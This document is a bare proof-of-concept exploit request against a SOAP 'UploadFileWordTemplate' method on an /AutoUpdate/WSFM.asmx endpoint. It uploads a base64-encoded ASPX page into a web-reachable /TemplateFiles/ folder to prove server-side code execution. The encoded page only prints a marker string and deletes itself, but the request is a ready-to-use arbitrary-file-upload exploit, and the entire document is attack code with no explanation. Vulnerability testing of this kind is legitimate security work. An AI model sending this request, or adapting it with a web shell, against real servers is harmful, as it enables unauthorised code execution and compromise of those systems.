PoC

POST /AutoUpdate/WSFM.asmx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/UploadFileWordTemplate"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <UploadFileWordTemplate xmlns="http://tempuri.org/">
              <fileByteArray>PCVAUGFnZSBMYW5ndWFnZT0iQyMiJT48JVJlc3BvbnNlLldyaXRlKCJwYm95am5ucmZpcG1wbHN1a2RlY3p1ZHNlZnhteXdlIik7U3lzdGVtLklPLkZpbGUuRGVsZXRlKFJlcXVlc3QuUGh5c2ljYWxQYXRoKTslPg==</fileByteArray>
      <remotePath>/TemplateFiles/{{username}}.aspx</remotePath>
    </UploadFileWordTemplate>
  </soap:Body>
</soap:Envelope>